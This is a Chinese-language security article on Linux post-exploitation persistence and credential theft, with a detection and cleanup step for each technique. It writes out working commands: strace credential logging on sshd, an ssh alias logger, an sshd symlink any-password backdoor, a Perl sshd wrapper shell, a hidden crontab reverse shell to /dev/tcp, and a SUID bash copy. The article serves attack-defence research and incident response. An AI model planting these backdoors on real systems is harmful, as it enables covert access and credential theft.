51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

【安全研究】Linux后渗透常见后门驻留方式分析

↑ 点击上方 关注我们


引言


RedTeam 拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而专门定制持久化后门(免杀肯定是必须的)的前提下,他们会如何结合系统自身的某些特性,达到持久化控制的效果?

BlueTeam 在应急响应的过程中,又该如何尽早地排查出这些后门?为尽到"知己知彼,百战不殆",本文将对Linux下常见的权限维持技术和凭据收集技术进行解析,希望能对从事 攻防对抗研究 的小伙伴有所帮助。


Strace获取登陆凭证 1 strace获取登陆凭证原理

凭证将会通过 strace 追踪到系统 sshd进程,并将追踪到的信息保存到log文件,这些信息中包含了系统明文密码以及ssh私钥。 2 strace获取登陆凭证实现

strace获取登陆凭证利用 条件 包括:

  • 内核 版本 > Linux Kernel 3.4支持完全限制或禁用ptrace的功能。

  • 具有 kernel.yama.ptrace_scope限制和禁用 。


具体实现

获取 sshd进程明文密码 。 可 使用括号执行程序, 然后 退出当前 shell, 并用 ssh登录其他主机。

                  (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
                

图 1


strace捕获到的凭证将会保存在 /tmp/.sshd.log 文件下:

图 2 3 Strace获取登陆凭证检测响应

1) 使用 ps工具查看系统中的strace进程 。

图 3


2) 使用 kill工具阻断进程运行。

图 4


Alias获取登陆凭证 1 Alias获取登陆凭证原理

给指定程序设置命令别名,使运行指定程序时自动 strace读写系统调用,收集登录凭证。 2 Alias获取登陆凭证实现

1)在终端中执行。

                  # 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
# 使命令别名立即生效
source ~/.bashrc
                

图 5


2)通过查看日志文件,能看到有系统凭证的信息。

图 6 3 Alias获取登陆凭证检测响应

1) 使用 alias工具即可发现异常

图 7


2) 打开 .bashrc文件,查看并清除后门命令。

图 8


SSH软连接后门 1 SSH软连接后门原理

软连接后门的原理是利用了 PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录。


2 SSH软连接后门实现

1)在靶机上安装ssh后门,执行。

                  ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
                

2) 攻击机中用 ssh 终端 连接工具,密码随意填写即可实现任意密码登录。

图 9


笔者 在 测试环境下还 发现 有 "chsh"、"chfn" 等 shell程序 包含 pam_rootok.so,均能够 用于 SSH软连接后门 的 植入 。

图 10 3 SSH软连接后门检测响应

1) 查看系统当前端口状态。

这类后门会开启监听端口,我们可以先查看 /etc/pam.d/目录下有哪些文件包含该配置,然后通过管道符找到异常端口及进程,再通过进程找到异常文件 、 杀掉进程 、 关闭 PAM认证即可。

                  find /etc/pam.d/ |xargs grep "pam_rootok.so"
netstat -antlp |grep -E "su|chsh|chfn|runuser"
                

图 11


2) 查看系统登录日志

图 12


SSH公钥免密登陆后门 1 公钥免密后门原理

ssh无密码登录要使用公钥与私钥。linux下可以用ssh-keygen生成公钥/私钥 , 即利用密钥认证登录。 2 公钥免密登录后门实现

1)在攻击机上生成公钥文件,"回车"默认配置。

                  ssh-keygen -t rsa
                

2)将攻击机上的id_rsa.pub文件拷贝至靶机。

                  1.ftp、scp等工具上传至靶机或者U盘植入;
2.将公钥文件放置vps服务器,然后靶机用wget/curl下载;
3.各类可用于远程传输的工具均可(如:nc)。
                

图 13



3)攻击机ssh连接靶机,无需密码认证。

图 14 3 公钥免密登陆后门检测响应

1) 查看系统当前登录状态。

图 15


SSH wrapper后门 1 SSH wrapper后门原理

Linux中init首先启动的是/usr/sbin/sshd,原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。如果这个子进程的标准输入输出已被重定向,那么getpeername能获取到客户端的TCP端口,将会派生给执行sh命令执行的权限。简而言之就是反弹shell,与常见的反弹shell不同的是, SSH wrapper后门通过长连接反弹shell的方式,使得攻击者在退出终端后仍然能进行连接


2 SSH wrapper后门实现

1)在靶机(服务端)中执行监听,终端中执行。

                  cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
                

2)在攻击机(客户端)中执行连接命令,获得一个命令执行权限的shell。

图 16 3 SSH wrapper后门检测响应

1) 查看 sshd文件修改状况。

                  ls -al /usr/sbin/sshd
cat /usr/sbin/sshd
                

图 17

2) 清除 SSH wrapper后门。

通过重装 ssh服务清除SSH wrapper后门 。


Cron后门 1 Cron后门原理

crontab命令用于设置周期性被执行的指令,可以把cron设置为开机时自动启动。攻击者将恶意代码或程序隐藏在系统磁盘中,并由计划任务调用时启动它们。 2 Cron后门实现

1)平平无奇的Cron后门。

                  (crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i')|crontab -
                

能用 crontab-l命令查看到具体内容。

图 18


2)隐蔽的 Cron后门。

                  (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -
                

用 crontab-l命令则无法查看到具体内容。

图 19


这是因为利用到了 cat工具的特性。cat默认支持一些如r回车符、n换行符、f换页符等,也就是这些符号导致的能够隐藏命令。


3)攻击机获得shell连接。

图 20 3 Cron后门检测响应

1) 查看可疑的计划任务 。

                  crontab -e
                

2) 使用 vim命令在cron创建的文件下查找并清除恶意代码。

图 21


SUID Shell后门 1 SUID Shell后门原理

Suid shell是一种可用于以拥有者权限运行的shell。 攻击者将原有的 bash进程copy并隐藏,给予可执行的权限,达到隐藏后门的目的。 2 SUID Shell后门实现

1)在终端中执行如下命令。

                  # cp /bin/bash /tmp/shell
# chmod u+s /tmp/shell
用普通权限用户执行shell程序。
$ /tmp/shell -p
                

图 22 3 SUID Shell后门检测响应

1) 在 Linux中查找SUID设置的文件 。

图 23


2) 取消 shell程序的 s权限。

                  chmod u-s /tmp/shell
                

Tcp wrapper后门 1 Tcp wrapper 后门原理

TCP_Wrappers(一个工作在应用层的安全工具),通过修改配置文件hosts.allow,实现tcpd(Tcp Wrapper的守护进程)的截获请求。每当有ssh的连接请求时,如若请求满足配置文件中的规则,则放行,否则中断连接,配置文件中可配置执行命令。 2 Tcp wrapper 后门实现

1)编辑配置文件,并写入恶意代码。

图 24


2)在攻击机上开启本地端口监听。

图 25


3)连接目标服务器的22端口,触发后门,无需输入密码,监听端口将会获得shell连接。


图 26 3 Tcp wrapper 后门检测响应

1) 在 /etc/hosts.allow 文件 中查找 并删除恶意代码。

图 27


Systemd服务后门


1 Systemd服务后门原理

Linux下的服务启动后门,可创建或配置系统服务文件中的ExecStart参数,实现启动服务时,调用恶意代码的执行。 2 Systemd服务后门实现

1) 创建服务描述文件。

图 28


2)编辑backdoor.service文件,加入下面的内容。

图 29


3)给予执行权限,并重新读取服务信息,使得服务生效。

图 30

图 31

4)在启动服务后,攻击机监听的端口将会返回一个shell。

图 32 3 Systemd服务后门检测响应

1) 在 /usr/lib/systemd/system 下的服务文件 中查找 并删除恶意代码。

图 33 十一 Vim python2拓展后门 1 Vim python2扩展 后门原理

vim安装时默认安装了当前服务器的python版本的扩展,利用该扩展,可以用vim的扩展 pyfile 来 执行 python脚本。


2 Vim python2扩展 后门实现

1) 在靶机上创建 python反弹shell脚本 attck .py 。

图 34

2) 在攻击机中开启端口监听 。

图 35

3) 靶机 在 执行 vim-E-c"pyfile attck .py"命令 后,攻击机监听的端口将会返回 shell。

图 36 3 Vim python2扩展 后门检测响应

1) 查看当前系统是否有可疑的网络连接;

图 37

2) 定位到 vim进程,查看执行的命令调用了python扩展;

图 38

3) 定位到可疑脚本路径,查找并清除可疑后门脚本;

图 39

本文作者: 安全狗

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/190743.html

赞(0)
未经允许不得转载:工具盒子 » 【安全研究】Linux后渗透常见后门驻留方式分析